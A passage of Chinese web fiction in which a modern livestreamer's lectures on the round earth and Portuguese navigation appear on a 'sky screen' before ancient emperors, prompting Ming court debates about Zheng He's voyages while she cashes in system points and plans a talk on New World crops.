“地球是圆的。”天幕上的雁非正在讲解,“如果你一直往一个方向走,最终会回到原点。”
殿中一片寂静。
嬴政的眉头紧紧皱起,他看了一眼李斯,李斯也正看着他,眼神里满是困惑。
“陛下,”一个博士忍不住开口,“此说与先贤所言‘天圆地方’相悖,臣以为——”
“闭嘴。”嬴政冷冷道,“听她说。”
天幕继续播放,雁非开始讲古希腊人如何测量地球周长,如何通过观察太阳阴影计算出大地是个球体。她画了一张图——一个圆球,上面站满了人,每个人都是头朝上、脚朝下。
“荒唐!”那个博士终于憋不住了,“若大地是圆的,那另一边的人岂不是头朝下站着?他们如何不掉下去?”
仿佛听到了他的问题,天幕上的雁非笑了笑:“不会,因为有地心引力,把人牢牢吸在地面上。就算你在南半球,头朝下脚朝上,也不会掉下去——因为对你来说,你的‘下’就是指向地心的方向。”
“地心引力?”嬴政喃喃重复。
李斯小心翼翼地凑近:“陛下,臣以为……此说虽与古书不合,但逻辑自洽。若大地真是圆的,那日月星辰的运行,或许……”
“或许什么?”
“或许……可以用新的方式解释。”
嬴政沉默片刻,忽然问:“你说,她说的那个‘古希腊’,在什么地方?”
李斯一愣:“臣……不知。”
“这唐宋元明清又是何处之国?”
“陛下赎罪,臣不知。”
“派人去找。”嬴政的声音不容置疑,“不管在哪儿,给朕找到,朕要知道这到底是怎么回事!。”
殿中无人能答。
天幕上,一个叫“沈括”的人发来留言:【有趣,若以北极星高度确定纬度,需考虑北极星并非正对地轴?】
嬴政眯起眼睛:“沈括?众卿可知此人是谁?”
没有人知道。
可是所有人心里却都有了一个不太好的猜测。
嬴政扫视了众人一眼,声音低沉下来:“……朕想知道,朕的大秦,能站多久。”
天幕不会回答这个问题,至少现在不会。
大汉·未央宫
刘彻斜靠在御座上,一手撑着下巴,看着天幕的眼神里满是兴味。
“有趣,”他懒洋洋地说,“大地是圆的?朕倒觉得,这说法比那帮儒生念叨的‘天圆地方’有意思多了。”
殿中坐着丞相公孙弘、御史大夫张汤,以及一众文武重臣,霍去病站在武将班列最前,年轻的脸上写满了困惑。
“陛下,”他忍不住开口,“臣有一事不明——若大地真是圆的,那咱们打匈奴的时候,能不能绕到他们背后去?”
刘彻愣了一下,随即哈哈大笑:“去病啊去病,你这脑子,还真是只会打仗。”
霍去病不服气:“陛下,臣是真不明白。那上仙说一直往一个方向走能回到原点,那咱们往西一直走,是不是就能走到匈奴屁股后面?”
卫青轻咳一声:“去病,莫要胡言。”
“舅舅,我没胡言。”霍去病认真地说,“要是能绕到他们后面,咱们两面夹击,匈奴人插翅难逃。”
刘彻笑够了,摆摆手:“去病这话虽然糙,但理不糙。若大地真是圆的,那这天下,就比咱们想的要大得多。”
他看向天幕,眼神变得深邃起来:“朕以为普天之下莫非王土,率土之滨莫非王臣。可这上仙说的那些地方——葡萄牙、希腊——朕从未听过。也就是说,这世上还有朕不知道的疆域,还有未曾臣服于大汉的国土。”
公孙弘上前一步:“陛下,天幕所言虚实难辨,臣以为不可轻信。”
“虚实难辨?”刘彻笑了,“丞相,那天幕就悬在天上,那女子说的每一个字朕都听得清清楚楚,这叫虚实难辨?”
公孙弘语塞。
“朕不管她是仙是凡,也不管她说的是真是假,”刘彻站起身,走到殿门边,仰望着天幕,“朕只知道,这世上有朕不知道的学问,有朕没去过的地方。那什么葡萄牙人能驾船出海,找到新的大陆——朕的大汉,难道不如他们?”
他回头看了一眼殿中的群臣:“传朕旨意,从即日起,广招天下精通天文、地理、算学之人。朕要知道,这大地到底是不是圆的,那什么‘经度纬度’到底怎么算,还有那‘三角学’——朕也要学。”
群臣面面相觑。天子要学算学?这……
张汤小心翼翼地开口:“陛下,您是天子,
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何必亲自动手学这些……”
“朕是天子,就更该知道这天地的道理。”刘彻打断他,“那上仙说了,这学问是用来航海、用来定位、用来发现新大陆的。朕的大汉要开疆拓土,难道不该懂这些?”
他看向霍去病:“去病,你不是想绕到匈奴背后吗?那就好好听,好好学。等咱们弄明白了,朕派你出海,去那什么葡萄牙看看。”
霍去病眼睛一亮:“陛下此言当真?”
“朕什么时候骗过你?”
天幕上,雁非正在讲三角学的应用。刘彻回到御座前,认真地听起来。群臣见状,也只好各自归位,仰头看着天幕——虽然大部分人都听得云里雾里,但天子在听,谁敢不听?
只有一个人例外。
司马迁站在角落里,手里攥着一支毛笔,在一块竹简上飞快地记录着什么。他没有抬头看天幕——他不需要看,因为天幕上说的每一个字,他都牢牢记在心里。
他在记历史。
不是大汉的历史,是这从天而降的、来自后世的“历史”。他不知道这些东西将来有没有用,但他知道,如果他不记下来,这些东西就真的消失了。
“地圆说……古希腊……埃拉托色尼……”他一笔一划地刻着,手腕酸痛也顾不上停。
忽然,他感觉有人站在身后。
是刘彻。
“太史令,在记什么?”
司马迁连忙跪下:“回陛下,臣在记录天幕所言。”
刘彻低头看了看竹简上的字,沉默片刻,忽然说:“好好记。记完了,给朕抄一份。”
大唐·太极殿
李世民坐在御座上,面前放着一壶酒,但他一口没喝。
比起天幕第一次出现时,太极殿陷入的混乱,此时大殿里甚至可以说得上轻松和谐。
不过,李世民此时心情却并没有表现出来的那么轻松。
他看向天幕,雁非正在讲解“北极星偏差”——沈括的人提出的问题。
李世民皱眉,“这是何人?”
没有人知道。
“此人所问,甚是有见地。”李世民看向李淳风,“爱卿可能看出此人来自何处?”
李淳风:这陛下真把他当成无所不知的神仙了?
“回陛下,这天幕有经天纬地之神力,这世间亦有我大唐还未知的国度,这番际遇怕是并非只有我大唐独有。”
其实在今天天幕刚出现不久,李淳风就一直盯着留言板观看,虽说系统将各个位面都进行了信息本土化处理,可是李淳风还是透过一些留言发现了问题。
在大唐天文算学他自觉不输于任何人,可是刚才留言板留言的问题与思考,一看就是有一些超出他认知程度的东西,可是某一些提问的留言感觉似乎是轻易便理解了。
那些说明什么?
如果不是他学艺不精,那很显然就是这天幕覆盖之广,超出了他的认知范围。
再联合天幕说得那什么极西之地的“葡萄牙”、“西班牙”等从未听胡人提过的国度,他脑子里便有了这个猜测。
6. 第 6 章
当然也只是猜测。
在场的聪明人不止李淳风,这个猜测当然也不止他想到了,只不过没人敢说,毕竟天幕虽然现在是福是祸还不知,但经历过玄武门之变的李世民一定会咬定这是天大的祥瑞。
这是上天对他成为天子合法性的体现,可是如果这个“祥瑞”并非只有大唐有,那“祥瑞”的意义就大打折扣。
所以在天幕第一次出现后,长安城就偏偏派出了几路人马去边境查探,只不过以现在的交通条件,想得到确切答案怕是还得等个把月。
“国师认为这天幕并非我大唐独有?”李世民这话其实已经很不高兴了。
李淳风却不慌不忙,他看着天幕眼神里流露出复杂的神色:“陛下,臣只是觉得天幕出现的场景并非只在此时此刻,或许亦在彼时彼刻。”
历史波涛,王朝更迭,又有什么是亘古不变的呢?
李淳风的话听起来神神叨叨,可是李世民却听懂了,不止他听懂了,房玄龄、杜如晦、长孙无忌等人都听懂了。
李淳风其实也不想说太多大实话,但是冥冥之中他感觉到有关天幕之事他最好不要跟帝王打马虎眼,不然很可能让自己背负因果。
君臣对答间,天幕消散,大殿陷入短暂的沉寂。
李世民站起身看向李淳风,语气里待着压迫:“国师方才说‘彼时彼刻’,细细讲来。”
李淳风躬身:“陛下,臣只是推测,留言板上有人问的问题,再加上天幕所言内容,故有了一些怀疑。”
李世民没说话。
房玄龄上前一步:“陛下,臣记得天幕提到极西之地有‘葡萄牙’、‘西班牙’,这些国号连胡商也未曾提过。”
“你是说——”
“臣只是觉得,或许太史承所言有几分道理,天幕覆盖之广,恐怕不是我等凡人所能理解。”房玄龄点到即止。
玄武门的血迹尚未干透,李唐王朝需要祥瑞,可是这个“祥瑞”却不是凡人普通认知程度的,它或许超出他们的认知太多。
李世民再次看向李淳风:“爱卿以为,还有谁能见?”
李淳风摇头:“臣不知。或许是极西之国,或许是——臣也说不上来。”
他没敢说“后世”,这个词太敏感,他也没把握。
程咬金憋了半天,终于开口:“陛下,臣是个粗人,就想问一句——这天幕到底能不能给咱大唐弄点好处?若能,管他别人看不看得到?”
长孙无忌看了程咬金一眼,心里觉得这老小子才是真正的聪明人。
李世民神色稍缓:“知节说得是。”
他顿了顿,看向殿外,“明日此时,再看看这天幕到底要说什么。”
他转身欲走又停住,看向那个留言板,没有说话,大步离去。
大明·奉天殿
朱元璋坐在龙椅上,脸色阴沉得能滴出水来。
天幕第一次出现时,他正在和大臣们商议北伐事宜。那突如其来的光幕吓得满朝文武惊慌失措,有人跪地高呼“天罚”,有人抱头鼠窜。朱元璋大怒,当场下令:谁敢再乱动,拖出去斩了。
于是所有人都老实了,老老实实地坐着,老老实实地看天幕。
第一次直播结束后,朱元璋一夜没睡。他想的不是那些听不懂的学问,而是——这个天幕,是从哪儿来的?它想干什么?它对大明的江山,是福是祸?
今夜是第二次直播。
朱元璋依旧坐在龙椅上,周围是徐达、李善长、刘基、宋濂等一干重臣。
他的儿子们以朱标为首也站在一旁,一脸认真地听着天幕上的讲解。
“老四,”朱元璋忽然开口,“你听懂了吗?”
朱棣一愣,他没想到父皇会越过大哥第一个问他,连忙道:“回父皇,儿臣……听了个大概。”
“说来听听。”
朱棣斟酌着措辞:“那儿臣就斗胆说了,那天幕上的女子说,地是圆的,儿臣想,若地真是圆的,那天下的疆域,恐怕比咱们想的要大得多。她说的那些地方——葡萄牙、希腊——咱们都没听过,也就是说还有咱们不知道的土地,还有咱们没见过的百姓。”
朱元璋点点头:“接着说。”
“她还说,那些地方的人能驾船出海,绕地球一圈。这说明他们的船比咱们的厉害,他们的技术比咱们的先进。若有一天,他们驾船来到大明……”
朱棣没有说下去,但意思已经很明显了。
朱元璋沉默片刻,看向朱标:“老大,你怎么看?”
朱标沉吟道:“爹,儿臣以为,这天幕所言,真假难辨,但有一点可以确定——它讲的这些学问或许对咱们有用,那‘风帆动力’、‘三角学’、‘地圆说’若能学会于国于民,都有益处。”
“那要是假的呢?”
“假的也不怕。”朱标笑道,“咱们学了,用不上,也不过是费些功夫。但若是真的,咱们没学,将来被别人用在咱们身上,那可就……”
朱元璋懂了。
他站起身,走到殿门边,仰望着天幕上那个还在讲课的女子。
良久,他缓缓开口:“传朕旨意,从即日起,召集天下能工巧匠、精通天文算学之人,研究这天幕上的学问。还有派人出海,去找那什么葡萄牙,朕要知道那些地方到底在哪里,那些人到底长什么样。”
他回头看了一眼朱棣:“老四,这事交给你。”
朱棣一愣,随即大喜:“儿臣遵旨!”
“别高兴太早。”朱元璋冷冷道,“朕让你办差,不是让你享福。要是办砸了,小心你的皮。”
朱棣连忙应是,心里却乐开了花,父皇把这么重要的事交给他,说明什么?说明父皇看重他!
他不知道的是,朱元璋选择他,是因为几个儿子里,只有他在第一次天幕出现提起葡萄牙、西班牙时就一反应是想去带兵打下来。
这儿子合该是个开疆拓土的大将军料。
大清·乾清宫
康熙坐在御座上,手中拿着一本《几何原本》,目光却盯着天幕上得内容。
这多时空直播,如果说最能无障碍听明白内容的大概也就是大清的一点对闭关锁国政策下的世界有所了解的人了。
第一次直播结束后,他让南怀仁把天幕上讲的内容详细给他介绍了一下。。
南怀仁是传教士,精通西洋各种学问,能帮他理解那些听不懂的东西。
第二次直播,康熙早早召集了群臣,可内心依旧还是震撼的,不过他的惊异猜疑却跟前面的王朝并不相同,因为天幕之人讲的东西其实他大多都懂一
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些基础。
葡萄牙、西班牙的存在与商业活动在大清上层也不是什么从未听说的秘密。
“地圆说……”康熙喃喃自语,“这天幕出现两次,讲得内容都是洋人玩意儿,莫非这洋人当真弄出了连大清都未及的名头,才让上天降下预警?”
可是西洋人那些东西他研究过,并且越研究越觉得奇妙,可是这些东西包括那天幕所言的“航海”政策于大清却并没有什么用处。
最起码对于爱新觉罗想要千秋万代的帝王大业是弊大于利。
直播结束,画面暗下来的那一刻,雁非整个人往后一仰,瘫在椅子里,盯着天花板发了半分钟的呆。
讲完了?真的讲完了?
她缓缓坐起来,手指有点抖地点开系统后台。
【本次直播累计观看人数:1.2亿】
【获得震惊值:320万】
【获得社会进步值合计:1.5】
【当前震惊值余额:200万】
【当前社会进步值:1500】
雁非盯着这个数字,愣了几秒。
320万震惊值。
不是1.8亿,是320万。
她下意识咬了咬嘴唇,然后慢慢笑了。
也对,今天讲的这些——地球是圆的、地心引力、气压差——对古代人来说,确实太超前了。能真正听懂的,估计也就李淳风、沈括那样精通此道的一小撮人。
对于大字不识几个的人,能坚持听到最后没睡着,已经算给面子了。
震惊值少,正常。
但社会进步值……
她看着那个“1.5”,心里忽然有点不一样的感觉。
这东西很有用,但是却很不好得,系统判定她讲的内容,真的对历史进程有帮助才会给一点点。
也就是说,她不是在瞎扯,不是在浪费这些古人的时间。
她说的那些话,可能会被沈括记下来,可能会被郑和用在下西洋的航路上,可能会让某个不知名的工匠多琢磨几天,然后造出更好的东西。
雁非靠在椅背上,嘴角慢慢翘起来。
然后她想起另一件事。
钱。
她赶紧点开商城,找到那个【兑换现金10000:1】的按钮,犹豫了一秒——万一这是诈骗软件怎么办?万一点了之后钱没到账,反而把银行卡盗了怎么办?
但转念一想,诈骗软件能让她跟程咬金聊天?
她咬了咬牙,点了下去。
【兑换成功】
【兑换金额:300万震惊值】
【到账金额:300元】
【剩余震惊值:20万】
手机震动。
银行短信弹出来:【您尾号3847的储蓄卡转账收入300元,余额12236.50元】
雁非盯着那条短信,盯了足足十秒。
然后她缓缓吐出一口气。
是真的。
不是诈骗。
剩下的二十万震惊值,留着回消息用,一条一百,也够用很久了。
雁非关掉后台,准备去煮碗面吃。走向厨房,窗外的月亮很亮,锅里水烧开了,咕嘟咕嘟冒着泡。
这泼天的富贵,她得好好想想怎么接稳了!
7. 第 7 章
永乐七年,九月初九。
南京城的秋天来得正好,秦淮河畔的桂花开得正盛,满城飘香。
奉天殿内,却是一片凝重的沉寂。
朱棣坐在御座上,面前摊着两样东西:一卷天幕记录的抄本,一张郑和刚刚呈上的海图。
天幕记录的抄本已经翻得起了毛边。那是第一次直播的内容,秉笔太监一字不落记下来的——《大国崛起·葡萄牙篇》。
天幕中女子的声音仿佛还在殿内回荡——
“葡萄牙,欧洲伊比利亚半岛西南角的一个小国,面积不过九万平方公里,人口不过百万。它的邻居西班牙比它大五倍,可就是这个不起眼的小国,成了人类历史上第一个全球性帝国。”
“他们凭什么?凭的是出海。”
“葡萄牙人用了将近一百年,才从非洲西海岸的最北端走到最南端。每一步都是用血换来的。可当他们终于绕过好望角抵达印度,抵达马六甲,抵达香料群岛——财富便像潮水般涌来。”
“一个原本穷得叮当响的欧洲小国,靠航海发了大财。”
朱棣的目光从抄本上移开,落在郑和身上。
郑和立在殿中,他刚从西洋归来,历时两年有余,最远抵达锡兰山、古里。
这是他第二次下西洋,第一次是永乐三年到五年,第二次是永乐五年到七年。
“郑和。”朱棣开口。
“臣在。”
“你这次下西洋,花了多少钱?”
两次下西洋,除了户部尚书外,应该是最清楚这笔账的人,他起头如实答道:“回陛下,此次下西洋,船只、粮草、赏赐诸项,合计约费银七十五万两。”
在一旁的户部尚书夏原吉上前一步,补充道:“陛下,郑公公第一次下西洋,耗费亦是七十余万两,两次相加,一百五十万两,再加上建造宝船和随行战船,已花费超三百万两白银。”
朱棣点点头,这个数字他早就知道。
“带回来什么?”
郑和答道:“此次带回之物,有苏门答剌的犀角、满剌加的锡、古里的胡椒、锡兰山的宝石。另有各国贡使携带的方物,及诸国王进献的珍奇异兽。”
“值多少钱?”
郑和低下头:“若论市价,这一次贡品加货物约值二三十万两。”
殿内一阵细微的骚动。
这个数字在场的人都心知肚明,下西洋是亏钱的,可这话平日里没人敢挑明了说。
因为下西洋算得不是钱,算得是大明的体面与荣耀——赏赐出去的东西,换回来的是万国来朝,是四海宾服,是那些小国国王跪在奉天殿里三叩九拜。
这些能用钱算吗?
夏原吉却偏偏开口了:“陛下,臣斗胆直言——郑公公下西洋,耗费七十五万,带回二三十万,实在是亏。”
殿内气氛微微一紧。
亏的。
这两个字,在这个殿上,从来没人敢说得这么直白。
朱棣却没有动怒,他只是拿起那卷天幕抄本,翻到某一页,缓缓念出声来——
“‘葡萄牙人出海,不是为了宣扬国威,不是为了教化蛮夷。他们出海是为了赚钱,为了赚钱,他们可以花一百年,一步一步往南探。为了赚钱他们可以死一批人再派一批人。因为所有人都知道——只要能活着回来,就能发财。’”
他放下抄本,看着夏原吉。
“夏尚书,你说咱们出海,是为了什么?”
夏原吉微微一怔,随即深深一揖:“陛下圣明。臣失言。”
他没有正面回答。
因为这个问题,根本不需要回答。
大明出海,为的是宣扬天朝威德,为的是让四海皆知中国有圣君出,为的是那些蛮夷之邦慕义向化、梯山航海而来朝贡,是陛下登基以来一直做的事。
赚钱?
那是商贾之事。
天朝上国,岂能与商贾争利?
朱棣看着他,忽然笑了。
“夏尚书,你这话说得太急了。”他的声音不高,却让夏原吉心头一凛,“朕没问你该不该亏钱,朕问你的是——那天幕上的葡萄牙,跟咱们有什么不一样?”
夏原吉愣住了。
朱棣站起身,走下御座,在殿中缓缓踱步。
“天幕上说,那葡萄牙不过是个弹丸小国,穷得叮当响。可他们出海是为了赚钱。赚了钱就能造更多的船,就能跑更远的路,就能赚更多的钱。”
他停住脚步,回头看着众臣:“咱们大明出海,是为了让他们来朝贡。来了,赏;不来,也赏。他们高高兴兴把东西搬回去,咱们高高兴兴看着他们跪。”
他顿了顿,声音低沉下去:“一个赚钱,一个花钱,一个是越跑越富,一个是越跑越——”
他没有说完。
但所有人都听懂了。
铁铉忽然上前一步:“陛下,臣以为,那葡萄牙与咱们,本不可比。”
“哦?”
“那葡萄牙,不过蕞尔小国,穷则思变,不得不以航海求利。我大明富有四海,物阜民丰,何须与海外小邦争利?”铁铉的声音不高,却字字清晰,“郑公公下西洋,扬我天威,使诸国知我大明之盛德,此乃万世之业,岂能以一时盈亏论之?”
这话说得漂亮。
夏原吉暗暗松了口气。
朱棣却笑了:“铁尚书,你这张嘴,比你打仗的时候厉害。”
铁铉垂首:“臣不敢。”
“可朕问你一件事。”朱棣走回御座,坐下,“若有一日,那葡萄牙人真的跑到了满剌加,跑到了苏门答剌,跑到了咱们大明的家门口——他们带着船,带着炮,带着一颗只认钱的心。到那时候,那些受过咱们赏赐的国王,是跪迎我大明天使,还是跪迎那些给他们送钱的葡萄牙人?”
殿内一片寂静。
这个问题,没有人能答。
郑和跪在地上,心中却掀起了惊涛骇浪。
他想起在古里时,那些蕃商看他的眼神。敬畏,感激,还有一点点疑惑——你们送这么多东西,图什么?
他当时想,图的是让他们知道大明的厉害。
可现在他忽然明白,那些蕃商心里想的可能是——你们图什么,我们不管。可那些葡萄牙人要是来了,带的是刀,抢的是货,我们拿什么挡?
“陛下,”郑和缓缓开口,“臣有一言。”
“讲。”
“臣这两次下西洋,见过二十余国的国王、酋长、头人。他们对我大明,无不恭敬有加。”他顿了顿,“可臣也发现一件事。”
“什
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么事?”
“他们恭敬的是大明的船,是大明的兵,是大明的赏赐。”郑和的声音低沉下去,“可他们心里惦记的,是那些能换来真金白银的买卖。蕃商给他们的,是实打实的利益。大明给他们的,是——”
他没有说下去。
但所有人都听懂了。
大明给他们的,是面子。
面子这东西,有当然好。可当刀架在脖子上的时候,面子能当饭吃吗?
夏原吉忽然开口:“郑公公,你的意思是,那些蕃商比咱们会做生意?”
郑和摇头:“臣不是这个意思。臣只是觉得——天幕上那葡萄牙,将来要做的,和那些蕃商一样。他们不讲面子,只讲钱。讲钱的人,走到哪里都受欢迎。因为谁都想要钱。”
他抬起头,看着朱棣:“陛下,臣在想,若有一日,那些葡萄牙人真的来了,带着钱,带着刀,那些受过咱们赏赐的国王,会选谁?”
这个问题,比铁铉问的更直白。
朱棣没有回答。
他只是沉默着,看着那份天幕记录。
良久,他缓缓开口:“郑和,你说,那葡萄牙人,什么时候会来?”
郑和想了想:“天幕上说,他们用了将近一百年,才走到非洲最南端。臣不知那一百年,是从什么时候算起的。但臣想——无论从什么时候算起,他们都还没走到印度。”
“你凭什么这么肯定?”
“凭臣在古里见到的那些蕃商。”郑和道,“他们若是见过那些葡萄牙人,早就在臣面前炫耀了。他们没有,说明还没见过。”
朱棣点点头。
“那你说,咱们还有多少年?”
郑和沉默片刻:“臣不知道。但臣知道一件事——”
“讲。”
“天幕让咱们看见了这些。”郑和抬起头,目光平静,“或许不是因为那些葡萄牙人快来了。或许是因为——咱们比他们早。”
早。
早到那些人还没开始跑,大明已经跑了两趟。
早到那些人还在非洲西海岸一点一点往前蹭,大明已经站在了印度洋的中央。
早到那些人将来要画的海图,大明现在就可以先画出来。
朱棣盯着他看了许久,忽然笑了。
“郑和,你这话,朕爱听。”
他站起身,走到窗前,看着外面渐渐暗下来的天色。
“朕不管那些葡萄牙人什么时候来。朕只知道一件事——朕在位的时候,他们来不了。”他转过身,看着郑和,“可朕百年之后呢?朕的儿子呢?朕的孙子呢?”
他顿了顿,一字一句道:“朕得替他们,留点东西。”
郑和心中一震。
“你方才说,那些蕃商会做生意。可咱们大明难道就不会吗?”朱棣的声音不高,却透着一种说不清的意味,“朕没让你去跟那些小国争利。朕只是让你去看看,那条路怎么走,那些人什么样,那些钱从哪儿来。”
他看着郑和:“你去看了,记下来,画成海图。将来用得着的时候,拿出来就行。”
郑和重重叩首:“臣,明白了。”
“明白什么了?”
“明白陛下要臣做的,不是替大明赚钱。”郑和抬起头,“是替大明把路探明白。”
8. 第 8 章
郑和退出奉天殿时,天色已经全黑了。
他站在殿外的广场上,仰望着夜空。夜空中什么都没有——没有天幕,没有那女子的身影。但她的声音,她讲的每一个字,都在他心里反复回荡。
“葡萄牙人用了将近一百年,才从非洲西海岸的最北端走到最南端。”
他走过的那些地方,记下的那些航路,画下的那些海图,或许在这个时代有着超出他认知的价值与意义。
“郑公公。”
一个声音从身后传来。郑和回头,见是铁铉。
“铁尚书。”
铁铉走到他身边,同样仰望着夜空,沉默许久,忽然道:“郑公公,老夫方才在殿上听你那番话,心里忽然想起一件事。”
“请讲。”
“老夫年轻时在山东,见过一些倭寇。”铁铉的声音低沉下去,“他们来的时候,带着刀,见人就杀,见东西就抢,后来虽有官兵把他们打跑了,可老夫一直在想——他们为什么要来?”
郑和没有说话。
“因为他们那边穷,活不下去。”铁铉转过头,看着郑和,“郑公公,你说那葡萄牙人,会不会也是这样?”
郑和沉默了。
他想起天幕上那女子说的话——“一个原本穷得叮当响的欧洲小国”。
穷得叮当响。
活不下去。
所以往海上跑。
所以带着刀。
“郑公公,”铁铉拍了拍他的肩膀,“你下次下西洋,替老夫看看——那些人,到底是不是活不下去才来的。”
他转身离去,消失在夜色中。
郑和站在原地,久久不动。
他想起天幕上那女子讲的最后一句话——
“大航海时代的序幕一旦拉开,就再也没有人能关上那扇门。”
他不知道那扇门后面是什么。
但他知道,从现在开始,他要替大明,把门里的路,探明白了。
---
郑和回到家中时,夜色已深。
他没有立刻歇息,而是点了一盏灯,坐在案前,铺开那张海图。
图上,从锡兰山再往西,是一片空白。
他在空白处缓缓写下一行字:
“此处当有天方。天方之西,传闻有极西之国,其人穷,故出海求财,带刀。”
写完之后,他放下笔,看着那行字,沉默了很久。
他忽然想起天幕上那女子讲的葡萄牙人——那些一百年后才会开始航海的人。
他不知道他们长什么样,不知道他们用什么船,不知道他们带什么炮。
但他知道一件事——
他们穷,而大明富。
穷,所以会来。
他站起身,走到窗前,推开窗户。
夜风吹进来,带着秦淮河的水汽。远处传来更夫的梆子声,一声一声,不紧不慢。
他看着那片夜空,忽然轻声说了一句话——
“那就让他们来吧。路,我先走熟了。”
---
第二天一早,郑和进宫谢恩。
朱棣正在御书房看折子,见他来了,放下手中的笔。
“想了一夜,想明白了?”
郑和跪地叩首:“臣想明白了。”
“讲。”
“臣这次下西洋,不求带回来多少东西。”郑和抬起头,目光坚定,“臣只求把路探明白。哪里能走,哪里不能走;哪里能停,哪里不能停;哪里有人,哪里没人——臣都要记下来,画成海图。”
朱棣盯着他看了许久,忽然笑了。
“郑和,你知道朕为什么信你吗?”
“臣不知。”
“因为你不贪。”朱棣站起身,走到他面前,“你不贪功,不贪财,不贪名,你只想把事情办好。”
他把郑和扶起来,看着他的眼睛。
“朕让你办这件事,是因为朕知道,你会把它办好。不是为了朕,不是为了你自己,是为了——”
他顿了顿,一字一句道:“为了那些还没出生的后人。”
郑和心中一震,重重叩首:“臣,记住了。”
“去吧。”朱棣摆摆手,“探你的路,画你的海图。一百年后的事,朕看不到了。但你替朕看着。”
郑和退出御书房,站在门外,深深吸了一口气。
他想起天幕上那女子讲的葡萄牙——那个一百年后才会开始航海的国度。
他不知道一百年后会发生什么。
但他知道,从现在开始,他要替大明,把那条路探明白了。
海图也好,航路也罢,还有那些用命换来的经验——这些东西,将来会用得上。
后来者将要怎么用,他不知道。
但他希望,用得上的人是大明的人。
他抬起头,看着那片蓝天。
天幕不在,但天幕上那女子的声音,还在他心里。
“大航海时代的序幕一旦拉开,就再也没有人能关上那扇门。”
他忽然笑了。
关不上,就不关。
但门里的路,得先让大明的人走熟了。
他迈步,继续向前。
身后,奉天殿的金瓦在阳光下闪闪发光。
现代
锅里的水咕嘟咕嘟冒着泡,雁非站在灶台前,脑子里却还在转着刚才的数字。
等一下。
她关火,把面条捞进碗里,端着碗回到电脑前,重新打开系统后台。
【当前社会进步值:1.531】
1.531。
不是150。
是一点五。
雁非盯着那个数字看了五秒钟,缓缓吐出一口气。
她就讲了一个小时的地理知识,能听懂的人屈指可数,真正能拿去用的更少。
沈括可能记下来几条,郑和可能琢磨一下,但指望这点东西立刻推动历史进程?
做梦呢。
她苦笑了一下,夹起一筷子面条塞进嘴里。
行了,清醒了。
什么改变历史,什么养活几亿人都是后话,现在的现实是——她还得交下个月的房租,还得还上个月的花呗,还得活着。
雁非放下筷子,重新点开商城。
兑换规则写得很清楚:震惊值换现金,一万比一。
她刚才换了300万,到手300块。
银行卡余额:12236.50元。
勉强还能撑两个月。
雁非咬着筷子头,看向剩余震惊值:20万。
也就是20块钱。
她盯着那个数字看了半天,忽然有点想笑。
刚才还觉得自己手握巨款,转眼就回到解放前,这系统够真实的一点幻想都不给人留。
面条快坨了,她赶紧扒拉两口。
一边吃,一边琢磨。
震惊值确实能换钱,但来钱太慢了。
一万人震惊,才换一块钱,今天这场直播,累计观看1.2亿,听着吓人,但真正贡献震惊值的,估计也就那三百多万人——其他人要么没看懂,要么半路就开始听得云山雾罩了。
三百多万震惊值,换三百多块。<
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p>够吃几顿饭,够付个水电费,但离财务自由差着十万八千里。
她需要更多震惊值。
更多的观看,更多的互动,更多的人听懂。
雁非把最后几根面条扒拉进嘴里,起身去洗碗,水流哗哗的,她脑子里也哗哗的转。
下次讲什么?
肯定不能接着讲地圆说、万有引力这种,对普通古人来说太抽象,听不懂就不震惊,不震惊她就没钱。
得讲点实在的。
讲点他们一听就懂、一懂就惊的东西。
比如粮食。
红薯、玉米、土豆这些东西,原产美洲,大航海时代才传遍世界。中国这会儿,唐朝没有,明朝没有,清朝可能刚有但没推广开。
要是她提前几百年告诉古人,有种庄稼长在坡地上都能活,一亩能收几千斤——
雁非关上水龙头,擦干手。
不同的人,会被不同的点戳中。
但有一点是共通的——没有人不想吃饱饭。
雁非回到电脑前,盯着空白的文档。
她想起大学时看过的一本书,讲大航海时代的作物传播,当时只觉得有趣,现在恨不得把每个数字都背下来。
红薯:亩产两千斤起,高的能到四五千斤。不挑地,耐旱,病虫害少。叶子能喂猪,藤蔓能当饲料。
玉米:同样高产,耐储存。秆子能烧火,能喂牲口。
土豆:更夸张,欧洲人靠它度过了多少次饥荒。
这些东西,不需要懂三角函数,不需要会造船,只要是个农民,只要有一块地,就能听懂。
听懂,才会震惊。
震惊,就有震惊值。
雁非靠在椅背上,盯着天花板。
不对。
不是只要有震惊值就行。她需要的是持续的震惊值,大量的震惊值,这样才能换钱活下去。
那就要让人持续地感兴趣。
光讲红薯长什么样、产量多高,够震惊一次,但听完就完了。
得让他们有参与感,得让他们想问问题,得让他们明天还想来。
她想起今天直播时那个留言滚动的画面。
可惜当时太紧张,没顾上看。
要是当时停下来回几条消息,是不是能多赚点震惊值?
不对,回消息要从震惊值里扣。一条一百块,听着贵,但那是从她账户里扣,不是从总震惊值里扣。只要回得巧妙,回得让更多人想提问,那就是投资。
一条消息换一百块支出,但如果这条消息引发更多人震惊、更多人提问、更多人来看直播——
雁非坐直身子。
这账不能按单条算。
得按生态算。
她打开手机计算器。
20万剩余震惊值,最多回两千条消息。一条一百,全回完就是二十万支出——但她账户里本来也就剩二十万,全回完等于一分不剩。
不行,得留点保底。
那就先回个几十条,看看效果。效果好,再追加;效果不好,就当试错。
至于进步值——
雁非看了一眼那个1.531。
算了,先不想了,促进社会进步那是以后的事,现在最重要的是挣钱活下来。
关掉计算器,看了眼时间,快十二点了。
雁非打了个哈欠,站起来去洗漱,刷牙的时候,脑子里还在转。
红薯的事,肯定要讲,但不能光讲红薯,得有个由头,得和大航海时代挂上钩,得让那些想听航海的人也留下来。
要不就从哥伦布发现美洲讲起?
9. 第 9 章
第三章直播雁非制作的非常快,资料库里很多现成的,熬了一个大夜就都弄好了,然后距离第二次直播仅过去四天:她便开启了第三次直播。
主题:大航海时代的馈赠
天幕画面亮起。
深蓝色的背景上浮现出一行白色大字:
【改变世界的农作物】
配乐响起——舒缓、略带沧桑感的纪录片配乐。
雁非的声音作为画外音出现。
“前两期直播我们讲了葡萄牙和西班牙怎么成为海上霸主还有进入大航海时代所需要的客观知识储备条件,很多观众大概是没太听懂,这次咱们聊点实在的——他们从美洲带回来的东西。”
画面切换:一张古老的世界地图,欧洲在左边,美洲在右边,中间是大西洋,两条航线从西班牙画出来,一条到加勒比海,一条到墨西哥。
“1492年,哥伦布‘发现’了美洲,但他到死都不知道自己发现的是新大陆。他一直以为自己到了亚洲。”
画面出现哥伦布的肖像画,旁边打出一行字:【克里斯托弗·哥伦布,1451-1506】
“不过没关系,他带回来的东西,改变了整个欧洲,甚至改变了整个世界。”
